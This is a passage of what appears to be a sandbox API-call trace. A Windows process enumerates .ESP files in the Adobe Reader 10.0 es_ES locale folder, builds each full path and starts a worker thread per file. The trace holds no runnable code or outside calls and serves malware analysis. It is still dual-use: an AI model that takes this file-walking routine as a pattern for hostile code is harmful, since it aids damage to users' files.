cFileName="DigSig.ESP", cAlternateFileName="")) returned 1 [0244.821] wcscmp (_String1="DigSig.ESP", _String2=".") returned 1 [0244.821] wcscmp (_String1="DigSig.ESP", _String2="..") returned 1 [0244.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431e2b80 [0244.821] wcscpy (in: _Dest=0x431e2b80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.821] wcscat (in: _Dest=0x431e2b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.821] wcscat (in: _Dest=0x431e2b80, _Source="DigSig.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP" [0244.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e2b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0244.822] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.ESP", cAlternateFileName="")) returned 1 [0244.822] wcscmp (_String1="DVA.ESP", _String2=".") returned 1 [0244.822] wcscmp (_String1="DVA.ESP", _String2="..") returned 1 [0244.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431e31c0 [0244.823] wcscpy (in: _Dest=0x431e31c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.823] wcscat (in: _Dest=0x431e31c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.823] wcscat (in: _Dest=0x431e31c0, _Source="DVA.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP" [0244.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e31c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0244.823] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.ESP", cAlternateFileName="")) returned 1 [0244.823] wcscmp (_String1="eBook.ESP", _String2=".") returned 1 [0244.823] wcscmp (_String1="eBook.ESP", _String2="..") returned 1 [0244.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431e34e0 [0244.824] wcscpy (in: _Dest=0x431e34e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.824] wcscat (in: _Dest=0x431e34e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.824] wcscat (in: _Dest=0x431e34e0, _Source="eBook.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP" [0244.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e34e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b4 [0244.825] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.ESP", cAlternateFileName="")) returned 1 [0244.825] wcscmp (_String1="EScript.ESP", _String2=".") returned 1 [0244.825] wcscmp (_String1="EScript.ESP", _String2="..") returned 1 [0244.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431e43e0 [0244.825] wcscpy (in: _Dest=0x431e43e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.825] wcscat (in: _Dest=0x431e43e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.825] wcscat (in: _Dest=0x431e43e0, _Source="EScript.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP" [0244.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e43e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b20 [0244.826] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.ESP", cAlternateFileName="")) returned 1 [0244.826] wcscmp (_String1="IA32.ESP", _String2=".") returned 1 [0244.826] wcscmp (_String1="IA32.ESP", _String2="..") returned 1 [0244.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431e3760 [0244.826] wcscpy (in: _Dest=0x431e3760, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.826] wcscat (in: _Dest=0x431e3760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.827] wcscat (in: _Dest=0x431e3760, _Source="IA32.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP" [0244.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e3760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0244.827] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.ESP", cAlternateFileName="MAKEAC~1.ESP")) returned 1 [0244.827] wcscmp (_String1="makeaccessible.ESP", _String2=".") returned 1 [0244.827] wcscmp (_String1="makeaccessible.ESP", _String2="..") returned 1 [0244.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431310c0 [0244.828] wcscpy (in: _Dest=0x431310c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.829] wcscat (in: _Dest=0x431310c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.829] wcscat (in: _Dest=0x431310c0, _Source="makeaccessible.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP" [0244.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431310c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0244.830] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.ESP", cAlternateFileName="MULTIM~1.ESP")) returned 1 [0244.830] wcscmp (_String1="Multimedia.ESP", _String2=".") returned 1 [0244.830] wcscmp (_String1="Multimedia.ESP", _String2="..") returned 1 [0244.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431e2720 [0244.830] wcscpy (in: _Dest=0x431e2720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.830] wcscat (in: _Dest=0x431e2720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.830] wcscat (in: _Dest=0x431e2720, _Source="Multimedia.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP" [0244.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e2720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb44 [0244.836] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.ESP", cAlternateFileName="")) returned 1 [0244.836] wcscmp (_String1="pddom.ESP", _String2=".") returned 1 [0244.836] wcscmp (_String1="pddom.ESP", _String2="..") returned 1 [0244.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431e40c0 [0244.836] wcscpy (in: _Dest=0x431e40c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.836] wcscat (in: _Dest=0x431e40c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.837] wcscat (in: _Dest=0x431e40c0, _Source="pddom.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP" [0244.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431e40c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbbc [0244.837] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.ESP", cAlternateFileName="")) returned 1 [0244.837] wcscmp (_String1="PPKLITE.ESP", _String2=".") returned 1 [0244.837] wcscmp (_String1="PPKLITE.ESP", _String2="..") returned 1 [0244.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431c7da0 [0244.838] wcscpy (in: _Dest=0x431c7da0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.838] wcscat (in: _Dest=0x431c7da0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.838] wcscat (in: _Dest=0x431c7da0, _Source="PPKLITE.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP" [0244.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c7da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb10 [0244.838] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x156a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.ESP", cAlternateFileName="")) returned 1 [0244.838] wcscmp (_String1="RdLang32.ESP", _String2=".") returned 1 [0244.838] wcscmp (_String1="RdLang32.ESP", _String2="..") returned 1 [0244.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c6f40 [0244.839] wcscpy (in: _Dest=0x431c6f40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.839] wcscat (in: _Dest=0x431c6f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.839] wcscat (in: _Dest=0x431c6f40, _Source="RdLang32.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP" [0244.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c6f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f50 [0244.839] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.ESP", cAlternateFileName="READOU~1.ESP")) returned 1 [0244.839] wcscmp (_String1="ReadOutLoud.ESP", _String2=".") returned 1 [0244.839] wcscmp (_String1="ReadOutLoud.ESP", _String2="..") returned 1 [0244.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431314e0 [0244.843] wcscpy (in: _Dest=0x431314e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.843] wcscat (in: _Dest=0x431314e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.843] wcscat (in: _Dest=0x431314e0, _Source="ReadOutLoud.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP" [0244.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431314e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0c [0244.848] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.ESP", cAlternateFileName="")) returned 1 [0244.848] wcscmp (_String1="reflow.ESP", _String2=".") returned 1 [0244.848] wcscmp (_String1="reflow.ESP", _String2="..") returned 1 [0244.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c7bc0 [0244.848] wcscpy (in: _Dest=0x431c7bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.848] wcscat (in: _Dest=0x431c7bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.848] wcscat (in: _Dest=0x431c7bc0, _Source="reflow.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP" [0244.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c7bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0244.852] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.ESP", cAlternateFileName="SAVEAS~1.ESP")) returned 1 [0244.852] wcscmp (_String1="SaveAsRTF.ESP", _String2=".") returned 1 [0244.852] wcscmp (_String1="SaveAsRTF.ESP", _String2="..") returned 1 [0244.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c7d00 [0244.853] wcscpy (in: _Dest=0x431c7d00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.853] wcscat (in: _Dest=0x431c7d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.853] wcscat (in: _Dest=0x431c7d00, _Source="SaveAsRTF.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP" [0244.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c7d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb00 [0244.854] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.ESP", cAlternateFileName="")) returned 1 [0244.854] wcscmp (_String1="Search.ESP", _String2=".") returned 1 [0244.854] wcscmp (_String1="Search.ESP", _String2="..") returned 1 [0244.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431c8020 [0244.854] wcscpy (in: _Dest=0x431c8020, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.854] wcscat (in: _Dest=0x431c8020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0244.854] wcscat (in: _Dest=0x431c8020, _Source="Search.ESP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP" [0244.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c8020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0244.855] FindNextFileW (in: hFindFile=0x1cd9d370, lpFindFileData=0x1ce217a0 | out: lpFindFileData=0x1ce217a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.ESP", cAlternateFileName="")) returned 1 [0244.855] wcscmp (_String1="SendMail.ESP", _String2=".") returned 1 [0244.855] wcscmp (_String1="SendMail.ESP", _String2="..") returned 1 [0244.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c8200 [0244.855] wcscpy (in: _Dest=0x431c8200, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" [0244.855] wcscat (in: _Dest=0x431c8200, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 